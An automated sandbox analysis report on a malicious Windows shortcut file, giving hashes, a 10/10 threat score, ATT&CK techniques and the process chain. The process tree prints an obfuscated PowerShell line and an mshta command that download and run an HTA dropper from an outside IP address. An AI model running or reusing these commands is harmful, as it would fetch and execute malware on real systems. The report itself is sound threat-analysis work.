f9f6d87fddae95cd413c3613d404e787198cc8b460c29326e4c00c378b0ea732

Analysis

max time kernel
43s
max time network
47s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
21/10/2023, 00:18

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General

Target
e8e5fbe27c1191e5013ad44a884d0e72097b614f7a62bb683e960fcb.lnk
Size 1KB
Sample231021-allsfscc5w
SHA256 f9f6d87fddae95cd413c3613d404e787198cc8b460c29326e4c00c378b0ea732
MD5 dec4768eb64a7f7f0e419638ba9e8797
SHA1 a46d56962202569eacb91105d70b84d869bd67af
SHA512 0f98470c19208a1632c62088247eaed77e90867772bf36152793a828437eb74e469d97b248646fb56a53b5844382046bdfbf0bd0190714ba1be93696dd03b15f
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://148.113.1.180:8080/TMDT.hta

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	232	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3777073499-70821052-905318652-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
188	powershell.exe
188	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	188	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 188	4540	cmd.exe	87
PID 4540 wrote to memory of 188	4540	cmd.exe	87
PID 188 wrote to memory of 232	188	powershell.exe	88
PID 188 wrote to memory of 232	188	powershell.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e8e5fbe27c1191e5013ad44a884d0e72097b614f7a62bb683e960fcb.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" \W*\\*2\\\\msh*e '??ht??t?p?://148.113.1.180:8080/TMDT.h???t??a'.Replace('?','')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:188
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" http://148.113.1.180:8080/TMDT.hta
    3⤵
    - Blocklisted process makes network request
    PID:232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_0mifwn1v.icd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0mifwn1v.icd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512